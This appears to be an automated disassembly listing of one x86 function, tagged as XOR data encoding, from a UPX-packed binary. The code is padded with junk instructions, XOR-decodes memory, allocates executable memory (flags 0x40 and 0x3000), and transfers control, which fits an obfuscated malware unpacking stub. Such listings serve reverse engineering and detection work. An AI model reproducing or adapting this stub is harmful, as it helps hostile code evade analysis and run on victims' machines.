Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x8023cc23
mov esi, ebx
inc ebx
popal
sub esi, 0xf4bdbbf6
add esi, 1
mov ecx, 0
mov esi, ebx
and edx, edx
add edx, 0x4fe6e03
mov eax, esi
sub edx, 0x690ce21b
sub edi, 0x8a1c6a40
add edx, edi
mov ebx, eax
sub edi, edx
dec edx
inc ecx
or edx, edi
sub edi, 0x9254b14a
cmp ecx, 0x1005084
jne 0x47afd3
not edi
mov edi, edx
cmp ecx, 0x1005084
je 0x47b01a
mov ebx, 0
mov dword [ebx], ecx
or edi, edx
or edx, edi
sub esi, 0xbac1c764
add esi, esi
sub ebx, esi
mov eax, 0x47ada2
and ebx, ecx
mov ebx, ecx
not ebx
mov edx, 0x47af96
add edi, edi
add ecx, edi
mov esi, dword [eax]
sub ebx, 0xde8a2d81
add ebx, ebx
and esi, 0xff
sub edi, ebx
sub ecx, ebx
xor dword [edx], esi
dec ecx
add edi, 0xeaa187e7
not ecx
inc edx
sub edi, ecx
mov edi, ebx
inc eax
or edi, edi
sub ebx, 1
mov edi, 0x6cb2af86
cmp edx, entry0
jl 0x47b03c
add ecx, 0x9e4494b6
sub edi, 0xd2be59d9
sub edi, 0x7335fe4d
add ecx, 0x99f05fc9
mov ebx, ecx
sub edx, edi
add esi, 0x94faf533
add esi, ecx
mov ebx, 0x47af9a
or edi, edi
and ecx, ecx
mov ebx, dword [ebx]
add edi, ecx
mov esi, edx
inc esi
mov ebx, dword [ebx]
or esi, ecx
sub edx, 0xc0756c8b
push ebx
sub edx, 0x477dbf50
add edi, 0x2b250baa
mov ebx, 0x47af96
mov edi, ecx
mov edx, 0xa8e6a1ac
and edx, ecx
mov ebx, dword [ebx]
sub edi, esi
add esi, edx
sub edi, 0x6c6abc74
mov ebx, dword [ebx]
and ecx, ecx
sub edi, 1
dec ecx
push 0x47af9e
not esi
add ecx, ecx
mov edi, esi
call ebx
inc ecx
not ecx
not edi
pop ebx
dec edx
or edi, edi
push 0x47afab
add edx, edx
sub edx, 0x2ebbc36c
and ecx, edi
push eax
or edi, edx
sub edx, edi
call ebx
mov esi, ecx
sub edi, 0x19dd1a98
push 0x40
and ecx, edx
mov edi, 0xe772a1ba
sub edi, esi
sub esp, 4
mov dword [esp], 0x3000
or edi, edi
sub edi, 0x28c55fb2
sub esp, 4
mov dword [esp], 0x200004eb
not edx
sub esi, 0x6e96c680
sub esi, edi
push 0
dec edi
mov ecx, 0x1cf56ab8
call eax
and edi, ecx
mov esi, edi
add esi, 1
add eax, 0x20000446
not ecx
mov esi, edx
mov ebx, 0xdb2c5b6e
add edi, 0xd116b150
and esi, edi
mov dword [eax], ebx
sub edi, 1
mov edx, ecx
add edi, edi
mov ebx, dword [eax]
sub ecx, edx
add ecx, edi
cmp ebx, 0xdb2c5b6e
je 0x47b1a1
mov eax, 0
mov cl, byte [eax]
not esi
not ecx
sub edx, esi
inc edi
or esi, edi
mov ebx, 0x4abdaa51
or esi, esi
mov edx, section.UPX1
sub ebx, 0x7df41634
add esi, 0xb4ff1ad5
mov eax, 0x47ada1
add esi, 0xb3ac6edb
not esi
mov edi, 0
dec esi
sub esi, 0x2c03b3a
or ebx, esi
mov ecx, 0x47ada2
dec esi
or ebx, ebx
lea ecx, [ecx + edi]
and esi, ebx
dec ebx
mov ecx, dword [ecx]
sub ebx, 0xed00660
not ebx
or esi, esi
and ecx, 0xff
mov ebx, 0x750eebed
mov esi, 0x29bdf428
inc edi
mov esi, 0xc5705b1b
sub ebx, esi
and esi, ebx
cmp edi, 0x1f4
jne 0x47b21e
mov edi, 0
mov esi, ebx
mov esi, ebx
and ebx, ebx
mov ebx, 0xedbc3038
xor dword [edx], ecx
dec esi
mov ebx, 0x6a3852c7
add edx, 2
add ebx, 0x812d43cc
sub ebx, esi
cmp edx, eax
jl 0x47b1dd
add esi, 0xebf8a342
add esi, 1
add ebx, esi
sub esi, 0xe2c13126
mov eax, section.UPX1
add edi, 0x7ba3605a
dec ebx
mov esi, section.UPX1
inc edi
mov edi, ebx
mov ecx, 0x47ada1
and edi, ebx
mov edi, ebx
mov edi, ebx
mov edx, 0
sub edi, 0xb311ca0a
sub edi, 0x8e8c5f72
mov dl, byte [esi]
and ebx, ebx
and ebx, edi
add edi, ebx
mov byte [eax], dl
add edi, edi
mov edi, 0x149dc4c1
add eax, 1
mov edi, 0x466bb25d
add ebx, 0x9683b256
add ebx, 0x201b2015
add esi, 2
dec edi
mov edi, 0x34f7e77f
cmp esi, ecx
jle 0x47b28b
dec ebx
inc edi
not edi
sub ebx, esi
or ebx, esi
dec esi
push 0x45e6a0
add esi, 0xc8764519
sub ebx, 0x61593994
ret